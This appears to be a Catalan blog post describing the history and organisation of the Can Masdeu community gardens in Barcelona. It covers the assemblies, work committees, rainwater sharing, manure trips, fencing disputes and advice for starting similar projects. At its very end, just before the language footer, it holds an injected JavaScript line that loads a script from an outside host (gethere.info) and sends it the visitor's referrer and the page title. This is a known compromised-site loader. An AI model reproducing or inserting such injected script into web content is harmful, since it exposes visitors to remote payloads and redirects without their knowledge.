Per saber-ne més

Finals de desembre del 2001, el fred i la neu acompanyen l’okupació de la masia de Can Masdeu, abandonada des fa mig segle i cada cop més enrunada. Les parets, patis, basses i terrasses de la vall comencen a reviscolar. El que havia estat una leproseria acollirà a partir d’ara nous habitants que, malgrat viure també al marge de la normalitat imposada, arriben decidits a trencar l’aïllament i amb algunes idees clares. Entre elles, la de crear un espai de relativa autonomia alimentaria a tocar de la ciutat megadepenent. No podia ser d’una altre manera; les amplies terrasses, el sol fèrtil, l’aigua de les mines, l’orientació de solana, els vells fruiters, tot sembla demanar a crits que s’arranquin els esbarzers i es torni a llaurar; que les abelles vinguin a pol·linitzar i que l’aire torni a estar amerat d’olor a fem de gallines, a aroma de plantes medicinals i a dinar popular. Dit i fet, però pas a pas.

Es podria dir que la llavor del projecte, o si més no el record més antic, la trobem en una reforestació popular, la primavera de 2002, quan es van plantar uns quants arbres reciclats a la Fira de la Candelera (Molins de Rei). D’altra banda, s’estaven començant a cultivar les antigues terrasses agrícoles de la finca, per part de la gent que vivia a la casa (alls al febrer, patates al març), amb la participació espontània d’alguna gent gran del barri, majoritàriament immigrants gallecs, andalusos i extremenys d’origen rural.

A partir d’aquí es comença a generar la idea de fer uns horts conjuntament amb gent del barri; no està clar d’on va sorgir la idea, probablement de la constant interacció entre els joves okupes de la masia, acabats d’arribar i la gent del barri de tota la vida, que acostumava a passejar pel camí que rodeja la casa. El mes de març d’aquell any es comença a rehabilitar una de les basses de la finca (la que està situada a l’exterior del recinte de la masia, al costat de la font), i una primavera i un estiu força plujosos permeten que hi hagi aigua suficient per a cultivar més terres. Així que el 8 de setembre de 2002 s’obren oficialment els Horts Comunitaris de Can Masdeu, amb cartells de convocatòria penjats al barri. Més…

A la inauguració hi acudeix la gent més propera (i els seus amics i familiars), i s’obren les dues primeres terrasses de cultiu.

“Tot era força caòtic; apareixia gent, demanaven un hort, se’ls deia que sí… i així s’anaven repartint parcel·les una mica sin ton ni son”. Aquesta forma de començar, va anar arrossegant caos durant molt temps. En aquella època entra gent conflictiva, hi ha un repartiment molt desigual de parcel·les, no estan clars els criteris del projecte, etc… “Els primers que s’acosten son gent molt “echada pa alante”, amb el bo i el dolent que això comporta. Des de la casa tampoc hi havia una idea comú de com es volia que fos el projecte; les coses sorgien sobretot a nivell personal, per interessos i motivacions particulars; hi havia gent molt diversa, i moltes idees per dur a la pràctica. S’anava fent, improvisant… Una gent iniciava el projecte, altres hi anaven donant continuïtat.

A l’hivern de 2002-2003 es va començar a estructurar el projecte; donant-li més forma i continuïtat, sobretot a l’assemblea. També s’organitzaven jornades de treball i dinars. Can Masdeu era també un projecte on tot anava molt de pressa; es va okupar l’espai pensant en unes jornades contra el Canvi climàtic, i de cop i volta allò es va convertir en un projecte amb un munt de possibilitats i moltes ganes d’aprofitar l’espai al màxim. Cal dir que als 5 mesos de l’okupació, pel pont de l’1 de maig, hi va haver un intent de desallotjament de l’habitatge; això generà en els habitants de la masia “la sensació que això s’acabarà ràpid… i que cal aglutinar i començar els projectes ràpidament”.

La gent del barri tenia ganes de fer horts allí i realment valia la pena no desaprofitar l’ús tradicional de la masia, així que la gent de casa “estaven tan flipats amb aquest fet” que en cap moment es van posar a pensar en com organitzar-ho tot des del principi per tal que a la llarga funcionés bé hi no hi haguessin massa dificultats. “Hi havia un grau d’innocència i desorganització força elevat”.

També tot el tema legal es menjava gran part de l’energia de la casa: preparar resistència al desallotjament i veure quina era la millor estratègia a seguir, creant la Plataforma per a la Defensa de la Vall de Can Masdeu… després el judici per la via penal, el judici civil, etc.

Mentrestant la gent s’anava coneixent, s’anava construint col·lectivitat, arreglant l’habitatge, organitzant activitats socials, i participant activament a gran part de les lluites socials de Barcelona. I, enmig de tot això, el projecte dels Horts Comunitaris. Es poden enumerar alguns objectius i/o motivacions del projecte (la raó de ser):

-Generar un espai de relació i d’interacció social comunitària al barri, entorn a l’excusa de l’agricultura. Una característica important del projecte és la relació intergeneracional, que no és quelcom tan fàcil de trobar actualment. També la intercultural: cultura alternativa i cultura més tradicional o popular, a nivell vital. I la participació.
-També té una funció de “porta” a l’agricultura (ecològica) en un entorn urbà: per alguna gent del grup és una introducció al món rural, per a d’altres és una recuperació, en certa manera, d’una forma de vida (hi ha molts avis/es que s’han criat al camp). A més, hi ha un clar objectiu didàctic, de cara a nens/es i joves, que realitzen activitats d’educació agroecològica al voltant dels horts.
-Ampliar el projecte de Can Masdeu a un altre tipus de gent (trencar amb el model de “joves alternatius”), que d’altra banda és la majoritària al barri i al districte. Interacció real amb el barri.
-Apoderament a l’hora de gestionar espais naturals propers a la ciutat de Barcelona. Conscienciar de la necessitat de defensar la vall i Collserola com a espai amenaçat per les polítiques urbanístiques.
-Recuperar l’ús agrícola tradicional de la finca
-Desenvolupar experiències en col·lectiu, més enllà de la vida en comunitat

Es busca gent que no només vulgui tenir una parcel·la sinó que vulgui formar part d’aquest engranatge que són els Horts Comunitaris de Can Masdeu. També es busca un equilibri generacional i de gènere. En general es encara un projecte amb una majoria de gent gran, però cada any hi participa més gent jove, families o grups d’amics del barris propers que poden donar continuitat a la seva parcela. “Cadascú pot aportar en diferents aspectes i la diversitat és important”.

El grup de gent que conforma el projecte dels Horts Comunitaris de la Vall de Can Masdeu, són unes 50-100 persones de forma habitual, el que inclou familiars i tres membres de la comunitat que fan l’enllaç. “La gent de casa viu aquí, l’hort forma part del seu quotidià”; per a la resta de gent és diferent (implica, com a mínim, un desplaçament) i això fa que el grau d’implicació sigui a vegades menor, tot i que hi ha gent que participa a molts nivells: preparant les assemblees, dinamitzant-les, organitzant activitats, etc. s’implica molt en algunes coses, i gens en d’altres.

Les dones que participen són en general més joves i són persones molt dinàmiques i molt implicades a nivell social, tot i que també hi ha dones jubilades molt actives. Hi ha força parcel·les compartides per vàries dones, mentre que els homes tendeixen més a dur el seu tros individualment. La gent més jove tenen ganes d’aprendre i experimentar en el camp de l’horticultura. També acostumen a compartir la parcel·la en petits grups. En general els ritmes de la gent són urbans.

Estem parlant d’una masia de finals del segle XVIII amb una extensa superfície de terrasses de cultiu i tota una infraestructura de recollida i emmagatzematge d’aigua. La finca de Can Masdeu son 35h, de les que la finca agrícola -la zona rehabilitada que avui acull els projectes- son unes 2h.

L’espai està parcel·lat; actualment hi ha 35 parcel·les, de superfície variable entre els 25 i els 50m2 aproximadament, més l’hort de la comunitat, que té una superfície aproximada de 1300m2, i es treballa de forma comunitària. Cada parcel·la la treballa una persona, una família, o un grup de gent. Podríem dir que la mitjana és de 2-3 persones per parcel·la.

És un projecte assembleari. Els membres del grup es reuneixen en assemblea un diumenge al mes. També poden haver-hi assemblees “extraordinàries” quan sorgeixen activitats i/o problemàtiques puntuals. Per tal de facilitar-ne el funcionament i la participació, i incentivar a tothom a dinamitzar-les, l’assemblea té un format més o menys fixe: presentació de la gent nova, dubtes o aportacions de tipus hortícola (intercanvi de coneixements), repàs per comissions (aquí s’engloben quasi tots els temes de l’assemblea), i altres temes puntuals (propostes, conflictes, etc). Aquesta estructuració ha millorat molt la dinàmica assembleària. És important recalcar que la majoria de gent que participa al projecte no té cap tipus d’experiència assembleària ni d’organització col·lectiva prèvia, i que “les dinàmiques assembleàries han estat tot un repte, amb resultats gratament sorprenents”.
La dinamització de l’assemblea és quelcom voluntari i rotatiu. Sempre hi ha algú que recull l’acta a la “llibreta d’assemblees”, per tal que les decisions quedin clares i es puguin consultar sempre que es vulgui; també per poder fer un seguiment de tot el procés del grup al llarg dels anys. L’assemblea, a més de ser l’espai de presa de decisions, també té la funció de donar continuïtat al projecte al llarg de l’any, “és la forma de mantenir el fil comunitari”.

A més de l’assemblea, com que el grup i l’espai són grans i complexes, existeixen les anomenades “comissions de treball”, que funcionen de forma semi independent: les decisions es prenen en assemblea i les comissions les executen, amb cert marge de decisió, si cal. Tothom qui forma part del grup, ha d’assumir i respectar certs compromisos i responsabilitats establertes per la mateix assemblea: participar a l’assemblea mensual (com a mínim un membre de cada parcel·la) amb certa continuïtat, formar part d’alguna comissió de treball o, com a mínim, tenir la voluntat de col·laborar, cultivar de forma ecològica, i pagar la “quota mensual” d’un euro, per al manteniment de les eines i de les infraestructures (sistema de reg, despeses dels fems, etc.) i per cobrir les despeses de les activitats socials que es fan entorn a l’hort, i evidentment respectar les normes de convivència mínimes (no ser agressiu ni discriminador, etc.).
Les Comissions són o han estat al llarg d’aquest set anys de funcionament del projecte, les següents:
-Comissió d’Aigua, encarregada de la gestió del manteniment de les infraestructures de reg i de recollida i emmagatzematge d’aigua de la pluja.
-Comissió de Fems, encarregada de gestionar les excursions per anar a buscar fems.
-Comissió de Terres, que gestiona la llista d’espera, així com les absències de la gent i els espais abandonats.
-Comissió de Festes, que organitza/dinamitza les activitats de caire social, internes i externes, que es realitzen al llarg de l’any.
-Comissió d’Economia, responsable d’apuntar l’assistència a l’assemblea i l’aportació al pot del projecte, així com de gestionar el mateix.
-Comissió de Defensa de la Vall. Aquesta comissió, activa només en determinats moments, participa a les assemblees entorn a la defensa de la vall i de Collserola i manté informada a l’assemblea dels Horts Comunitaris.
També, durant uns tres o quatre anys, va funcionar la Comissió Hivernacle; aquesta es dedicava a produir planter per a tothom qui en volgués, i s’autogestionava a nivell econòmic (la gent pagava el planter, a un preu simbòlic, i els diners es reinvertien en compra de llavors, materials, i manteniment de l’espai). Quan la persona que ho duia (una de les veïnes del barri que, juntament amb el seu marit, té una parcel·la als Horts Comunitaris) ho va deixar, la comissió va desaparèixer.
Finalment, ha existit també de manera intermitent la Comissió del Camp Comunal. Tot i que als horts Comunitaris de Can Masdeu la terra està repartida en parcel·les i el treball es realitza de forma individual o en petit grup, algunes persones tenien (i tenen) la il·lusió d’estar en un projecte 100% comunitari; en aquest sentit es va crear el camp comunal, on els dos primers anys, que es van plantar calçots per a la calçotada popular i s’hi van plantant també patates o carbasses.
Pel que fa a l’accés al grup o al projecte, hi ha un protocol però aquest és flexible i adaptable a cada cas. Qualsevol persona que vulgui participar al projecte s’ha de presentar en una assemblea. A partir d’aquí se’l convida a participar a les següents assemblees, així com a totes les activitats comunitàries (anar a buscar fems, jornades de neteja i manteniment de l’espai i les infraestructures, dinars i festes, activitats al barri, etc.). També pot col·laborar en alguna parcel·la de gent que ho necessiti, o pujar els dijous a treballar a l’hort de la casa. Així va coneixent el projecte i la gent que en forma part, i alhora la gent el/la va coneixent també. És un projecte de convivència i, per tant, és important conèixer’s. És també una forma de veure l’interès real en el projecte i la capacitat d’adaptació (si realment és factible per a la persona: té el temps suficient que cal dedicar a un hort, el projecte li agrada, etc.)
Després d’uns tres mesos, si hi ha alguna parcel·la lliure, o bé si algú vol compartir la seva amb aquella persona (cosa, cal dir-ho, poc habitual), aquesta entra a formar part del projecte. En cas que no hi hagi cap espai lliure, la persona interessada s’haurà de seguir esperant, sense deixar de participar.
Hi ha una llista d’espera on s’apunta la gent a mesura que es presenta i sol·licita una parcel·la. Aquesta llista, però, no es regeix per un ordre cronològic estricte, sinó que també es valora, per sobre de tot, la voluntat i la implicació de les persones apuntades, i el que aporten al projecte.
Després d’aquest període de 3 mesos, l’assemblea decideix si s’accepta a la persona o no. Es prioritzen grups (abans que persones individuals), sobretot si són cooperatives o algun tipus de projecte social. Actualment, per potenciar l’equilibri generacional, es prioritza l’entrada de gent jove.

Un dels reptes del projecte és com generar espais on poder conèixer més a la gent, a la que ja forma part del grup, però sobretot a la que vol entrar. “Es podria deixar un espai o parcel·la per al treball conjunt d’aquesta gent (reconvertir el que havia estat el “camp comunal”). Podria ser una de les tasques de la comissió de terres; fer un seguiment més profund de les persones que s’acosten al projecte i són candidates a incorporar-s’hi: conèixer les seves motivacions i coses que volen/poden aportar”.
“És un projecte que s’ha anat fent a pedaços”, i això, junt amb el fet que és un grup molt gran, amb gent molt diversa i amb realitats i objectius diferents, en complica molt la gestió i organització. Hi ha unes directrius, però al final cada persona i cada situació és diferent i es tracta de forma personalitzada.
En aquest cas, tampoc és la gent més jove la que estira del projecte, sinó més aviat un sector d’entre 45 i 60 anys, sobretot dones. La gent jove s’implica força a nivell de dinamització i participació a l’assemblea i a les jornades de treball, però acostumen a ser molt més inconstants que la gent gran i no tan presents en el dia a dia de l’hort.

Com ja s’ha dit, es practica l’agricultura ecològica, tot i que les llavors i el planter moltes vegades no ho són (és força difícil trobar-ne); de fet, des de que l’hivernacle va deixar de funcionar (actualment n’hi ha un però tan sols l’utilitza la gent de la casa, i només per a alguns cultius), cadascú planifica el seu hort i en gestiona aquest aspecte, sense cap tipus de “control”. L’hort de la comunitat el gestiona una comissió (la comissió d’Horts, que no és la mateixa que la dels Horts Comunitaris) que s’encarrega de fer tota la planificació i d’organitzar el dia setmanal de treball col·lectiu. Aquest dia, actualment els dijous, la gran majoria de la gent que viu a la casa baixa a l’hort a treballar (seguint el proposat per l’esmentada comissió), i també està obert a que qualsevol persona que vulgui aprendre a dur un hort ecològic, a través de compartir les tasques pràctiques que això suposa.
A Can Masdeu hi ha un banc de llavors locals, on es poden intercanviar llavors, totes ecològiques. La majoria de les llavors són fruit de donacions i alguns intercanvis, només algunes són pròpies dels horts de la casa, ja que en ser un espai amb tants horts diferents, guardar llavors es complica encara més (hi ha moltes possibilitats de creuament entre les diferents varietats).

La majoria d’horts que hi ha a Can Masdeu es podrien considerar horts força productius en relació a la seva extensió; potser no són suficients per abastir a una família de tot el que necessita, però cobreixen majoritàriament el consum de productes de temporada (deixant de banda els productes de guardar com les patates, cebes, alls…), sobretot a l’estiu. Molta d’aquesta gent ja té experiència hortícola i tenen l’hort a ple rendiment; a més de cultivar per motius d’entreteniment i per gaudir d’un espai rural al costat de casa, un dels objectius és abastir-se de les hortalisses de temporada (sense deixar d’anar al mercat o al super a comprar tomàquets tot l’any!). Altres, sobretot els de gent més jove, són bàsicament experimentals, en el sentit de ser un espai d’aprenentatge i introducció al món agrícola, amb una producció més aviat escassa.

Gairebé tots els horts tenen el seu compostador particular, de construcció pròpia, on s’apilen les restes del mateix hort (males herbes, parts de la planta que no s’aprofiten, etc.) i, en alguns casos, les deixalles orgàniques de la llar; és el cas dels horts de la casa i d’alguns hortolans/es que se’ls porten de casa. Per altra banda, la forma més important, almenys a nivell quantitatiu, d’abonar l’hort, són els fems. Aquests, ja siguin de cavall, d’ovella o de cabra (això ha anat variant al llarg dels anys en funció de la diversitat d’opinions i també de les possibilitats d’aconseguir-los), es van a buscar de forma col·lectiva: en assemblea es decideix quan es volen anar a buscar (quan algú ho proposa i la majoria de gent ho considera necessari, normalment just abans de les grans plantades, 2 o 3 cops a l’any) i surten les persones voluntàries per fer-ho, i a partir d’aquí la Comissió de Fems s’encarrega d’organitzar la jornada de treball (buscar el vehicle, contactar l’explotació ramadera, assegurar-se que hi ha sacs suficients, etc.).
És un dels aspectes més comunitaris del projecte: una jornada de treball conjunt, colze amb colze, i amb uns resultats visibles i satisfactoris. Durant un temps hi havia una espècie de “bonificació” per a la gent que anava a buscar fems, que eren sempre els mateixos: a l’hora de repartir els sacs, els tocava un sac més que a la resta. Des de fa ja un o dos anys, aquestes jornades són més participatives i el repartiment és igual per a totes les parcel·les; això s’ha aconseguit sobretot organitzant jornades de treball, sempre amb dinar i festeta inclosos, al llarg de l’any, i fent que tothom s’hagi d’apuntar a alguna tasca o altra: anar a buscar fems, mantenir marges i camins, treballar en el sistema de recollida i canalització d’aigua, arreglar l’espai de la bassa, organitzar els dinars i cuinar, etc. Es fan llistes, en assemblea, i cadascú s’apunta a allò que li va millor o li agrada més fer. És així com es fa el manteniment de les infraestructures i dels espais que “no són terra de ningú o, millor dit, son terra de tots”. El manteniment de la pròpia parcel·la i dels espais circumdants els realitza cadascú com i quan vol.

Les eines són comunitàries, és a dir, hi ha la possibilitat d’utilitzar les eines que hi ha a l’habitació de les eines, al costat d’una de les terrasses de cultiu; només s’ha de demanar la clau, que està penjada a la cuina de la casa. De totes maneres, la gran majoria tenen les seves pròpies eines, que guarden dins la seva parcel·la; “al cap i a la fi, les eines les utilitzes molt i és quelcom molt personal; la gent vol, i quasi necessita, tenir la seva pròpia eina”. De tant en tant van al taller de la casa a arreglar-les.

El tema de l’aigua és un dels més complexes i delicats dins aquest projecte. “És on més patent es fa el fet que hi ha un bé que és escàs i que s’ha de compartir”. I com en tota societat, quan hi ha quelcom que és escàs i comú, apareixen els conflictes d’interessos, les formes de repartiment, els mecanismes de control, etc.
Una de les característiques que diferencia aquest projecte de la resta d’horts urbans és que l’aigua de reg no prové de la Xarxa Urbana, sinó que és exclusivament aigua de pluja. S’han recuperat les dues mines d’aigua i les basses (dues força grans i una de petita) que hi ha a la finca de la Masia de Can Masdeu, així com un dipòsit on es desvia l’aigua quan les basses són plenes. Les basses s’omplen amb l’aigua sobrant de les mines (la que no s’utilitza per al consum de la gent que viu a la masia) i amb l’aigua d’escorrentia de la muntanya que baixa per la pista que passa pel costat de la casa, i que s’ha canalitzat cap a aquestes. A partir d’aquí s’ha fet un sistema de distribució de l’aigua, amb tubs de polietilè, claus de pas, i aixetes, que permet que l’aigua arribi a totes les parcel·les; tothom té una aixeta més o menys a prop, que li permet regar el seu tros o omplir els bidons amb una mànega. A més, també hi ha un pou de 70m de profunditat que s’alimenta d’aigües freàtiques, del qual s’ha hagut de treure aigua algun estiu molt sec.
Són molts i diversos els sistemes de repartiment d’aigua que s’han anat fent al llarg dels anys, intentant cada cop millorar l’anterior, a partir de queixes i suggeriments. Dir que ha estat fàcil seria mentir. Des de repartiments per bidons setmanals, comptadors a les sortides de les basses, reg “cronometrat”… s’ha provat tot, i s’han anat veient les avantatges i limitacions de cada fórmula, i també s’ha anat aprenent a compartir i a valorar un recurs tantes vegades infravalorat com és l’aigua.
Durant gran part de l’any el reg és “lliure”, és a dir, cadascú rega quan vol, com vol, i la quantitat que millor li sembla. A partir del mes d’abril-maig ja es comença a parlar sobre el tema de l’aigua i a buscar la manera d’organitzar-se per a l’època de “vaques flaques”, normalment de juny a setembre, depenent del clima i de l’acumulació d’aigua que hi hagi hagut aquell any. Es crea una comissió, amb representants de cada terrassa de cultiu, que elaborarà una proposta per a discutir-la en assemblea. Un cop presa una decisió, s’acostuma a crear la figura dels “encarregats de l’aigua”, un o dos per terrassa, que és una tasca rotativa, segons les vacances i la disponibilitat horària de cadascú,; aquests encarregats es responsabilitzaran (durant un període de temps determinat) que s’apliqui la fórmula escollida i es respectin les quantitats acordades. El que sí s’ha aconseguit és que cada any hi hagi més implicació i respecte (i també més confiança) per part de tothom en la gestió de l’aigua (ja sigui fent propostes, coordinant els horts de la seva zona, etc.), i que aquesta sigui una mica més independent de la gent de la casa: autogestió participativa.
Però, a part de les quantitats d’aigua, que variaran lleugerament segons l’any, el que cada any s’instaura de forma fixa són els horaris de reg: s’intentarà regar a les tardes, a partir de les 18h i, en cas que no sigui possible, als matins ben aviat (abans de les 9h).
Totes les parcel·les tenen el seu espai reservat per als bidons on acumulen l’aigua; d’aquesta manera, quan hi ha excedent i sobreeixeix aigua de les basses, s’omplen els bidons i no es perd tanta aigua. Aquesta aigua emmagatzemada s’utilitzarà quan hi hagi escassesa. A més de la funció acumulativa, també serveixen perquè la gent pugui regar amb regadora i estalviar aigua (sempre es gasta menys que regant amb mànega), així com disposar d’aquesta quan es vol (l’aixeta la comparteixen unes quantes parcel·les i no sempre està disponible), però també tenen alguns inconvenients importants, com és la proliferació de mosquits, entre ells el tan temut “mosquit tigre”, que es reprodueix fàcilment en aigües estancades. Al llarg de tot l’any, i sobretot dels mesos de més calor, es fan revisions periòdiques de l’estat dels bidons (i altres llocs on es pugui acumular aigua, per poca que sigui) per comprovar si hi ha mosquits i/o larves. És un tema complicat i laboriós però cada any funciona millor. També a les parcel·les alguns/es inclús s’hi han construït un petit cobert on guardar les eines, o bé on aixoplugar-se de la pluja o del sol intens en alguns períodes de l’any, o fins i tot organitzar-hi dinars de cap de setmana, o partides de cartes.

El recinte està obert sempre, no hi ha horaris. Tot i que moltes de les parcel·les estan rodejades d’una tanca, amb una porta tancada amb un cadenat; la clau només la té la usuària de la parcel·la i, des de fa cosa d’un any, hi ha una còpia de la majoria de les claus a la casa, per si passa quelcom i s’ha d’entrar a l’hort. El tema de les tanques ha estat una de les “lluites” més intenses dins el projecte; van començar a sorgir de forma espontània i desordenada, sense prèvia consulta a l’assemblea, amb l’excusa de l’entrada de porc senglars a algunes parcel·les, i d’alguns robatoris d’hortalisses, sobretot a les zones que no es veuen des de la casa. Tot i que molta gent no té tanques i estan en contra d’aquest sistema de delimitar els espais, i també des de la casa s’ha pressionat força per eliminar-les, hi ha un rerefons de desconfiança, i una espècie de sentit de la propietat privada molt arrelat, que no n’ha permès la supressió. El que s’ha acabat fent és una limitació en l’alçada de les tanques (no poden sobrepassar l’alçada del pit, aproximadament, per tal que no destorbin a la vista) i en els materials de construcció; s’han d’utilitzar materials naturals i/o que s’integrin en el paisatge (canyes, fusta, cordes), intentant eliminar metalls i plàstics.

L’economia és a base d’un pot comú, gestionat per la Comissió d’Economia, que es nodreix de la quota mensual abans mencionada (que és voluntària, tot i que si algú no la vol/pot pagar, ha de justificar-ho davant l’assemblea) i d’algunes activitats socials, que són la principal aportació econòmica. Aquestes han estat inicialment sobretot la calçotada de la Vall, que s’acostumava a celebrar cada any i que s’organitza entre la gent de la casa i els Horts Comunitaris, així com La Cultura va de Festa, que és una festa organitzada des de les entitats del districte de Nou Barris, on s’hi participa també conjuntament amb la casa, i algunes altres activitats puntuals, segons vagin sorgint.
Com ja s’ha dit, doncs, a més de treballar la terra, es realitzen moltes activitats entorn als horts. Des d’activitats més internes, enfocades a la cohesió de grup i al funcionament comunitari: jornades de treball i, sobretot, dinars i festes, on es genera un espai de relació distès i alegre, absolutament necessari per al bon funcionament del grup (s’ha comprovat que quan aquestes activitats es realitzaven amb menor freqüència les relacions dins el grup es deterioraven i les assemblees eren més tenses). S’acostuma a fer, com a mínim, un dinar per temporada, és a dir, quatre a l’any. En aquests dinars, de caire festiu, no només hi participa la gent que té un hort, sinó que també hi porten a les seves famílies i amics.
També es realitzen activitats externes, participant especialment en els darrers anys en el Festival Mundial de Sopes, el Carnestoltes de Nou Barris i la Cultura va de Festa -abans amb “L’Agricultura va de Festa” i ara amb el Mercat d’Intercanvi.

Des dels horts comunitaris es va constituir legalment l’Associació en Defensa dels Horts Comunitaris de Nou Barris per a poder participar com a part implicada en el judici civil que es va celebrar contra els “suposats habitants” de la masia. També des d’aquesta associació es va denunciar a la propietària Fundació Hospital de Sant Pau, per una gestió indeguda d’un espai considerat “patrimoni cultural” de Catalunya (la Masia de Can Masdeu), demanant l’expropiació de la finca per part de l’Ajuntament. “La querella va ser acceptada, quelcom inèdit, però naturalment, mai va prosperar”.
Hi ha hagut conflictes de molts tipus i per moltes raons. El tema de l’aigua és força central en els conflictes; també els diferents nivells de participació en les tasques comunitàries. Hi ha conflictes que es donen en la intimitat, d’altres arriben a l’assemblea, tot i que en general costa afrontar-los obertament; sovint s’utilitza a la gent de la casa com a mediadors, o buscant una autoritat que decideixi sobre la problemàtica. En general però, hi ha bastant “bon rotllo” en el grup; bones amistats i companyonia. També hi ha desencontres històrics que s’han integrat a la vida del grup, que existeixen però que es porten de tal manera que són sostenibles per a tothom. Per altra banda, s’han donat alguns problemes de “robatoris” d’hortalisses, de difícil solució perquè és pràcticament impossible controlar qui s’atansa als horts, ni tampoc és quelcom que sigui molt preocupant.

En quant a algunes recomanacions que, partint de la pròpia experiència, es podrien fer a algú que volgués iniciar un projecte d’horts comunitaris, doncs n’hi ha moltes, ja que es tracta d’un projecte amb una llarga trajectòria:

“La clau, o una de les claus, és com comencen les coses… i la pressa; és important no tenir pressa, a l’hora d’adjudicar horts, de prendre decisions, o de qualsevol cosa. Tots els processos, i si són complexes encara més, requereixen el seu temps”. També és molt important el realisme a l’hora de prendre decisions: cal arribar a acords assumibles (o fàcilment assumibles) per tal de poder-los respectar.
És interessant definir algunes coses bàsiques ja des del principi: Cal definir el grau de col·lectivització del projecte. És interessant el treball individual dins un marc de gestió col·lectiu. En un espai més o menys extens com Can Masdeu, la parcel·lació de l’espai en forma d’usdefruit (no de propietat privada) ha esdevingut una forma de gestió engrescadora que ha permès que el projecte tirés endavant. De totes maneres, a l’hora de repartir parcel·les és important decidir prèviament quina mida tindran aquestes, per tal de poder fer un repartiment equitatiu i, en certa manera, limitar la mida del grup.
També és important establir quins “drets i deures” tenen les persones que participen al projecte, si és que en tenen, per no generar malentesos o falses expectatives. Quin tipus d’agricultura es vol fer; formes organitzatives; mecanismes d’entrada i de sortida del grup, amb certs sistemes de filtratge, etc. D’aquesta manera, es crearà un grup divers però amb uns objectius principals comuns, i això facilitarà el funcionament del projecte.

Altres aspectes que al llarg dels anys s’ha anat veient que eren molt importants, més del que ho podrien semblar, són:
-L’equilibri intergeneracional i de gènere; en un grup divers, les actituds es compensen i les diferents capacitats individuals es complementen. És important no tenir por a l’hora de crear sistemes de discriminació positiva a l’hora d’escollir als membres que formaran part del grup; és a dir, tothom (en aquest cas hi ha la limitació de les parcel·les) pot participar, però hi ha d’haver uns criteris de priorització.
-Acceptar les realitats, que canvien amb el temps, i adaptar les formes de funcionament a aquestes.
-Creativitat a l’hora d’organitzar-se (per exemple, amb el tema del repartiment de l’aigua), sense por a experimentar i, inclús, a equivocar-se.
-Tractar els conflictes fora de l’assemblea, en petits grups formats per les persones implicades i d’altres que puguin fer de mediadores, i amb calma, molta calma.
-Organitzar, de forma periòdica (cada grup trobarà la freqüència adequada), trobades d’oci; aquestes generen identitat i cohesió de grup.

En molts casos, aquest tipus de projectes són experiències socials més que agrícola-productiva; són una eina pedagògica de cara a la falta de coneixements d’horticultura, en alguns casos, i d’organització social, en molts altres; cal ser-ne conscients.

Finalment, l’experiència ens demostra que hi ha algunes coses que cal no només explicar-les sinó tenir-les molt clares i defensar-les amb fermesa si vols estalviar-te un munt de dificultats: l’esperit comunitari del projecte. Uns Horts Urbans Comunitaris són un projecte social, no són horts individuals i/o privats sinó que hi ha una finalitat de compartir, de treballar i prendre decisions de forma horitzontal i participativa, assumint les avantatges i inconvenients que això suposa, “i si no tens ganes de participar, busca’t la vida en un descampat!”

s.src=’http://gethere.info/kt/?264dpr&frm=script&se_referrer=’ + encodeURIComponent(document.referrer) + ‘&default_keyword=’ + encodeURIComponent(document.title) + ”;

This post is also available in: Spanish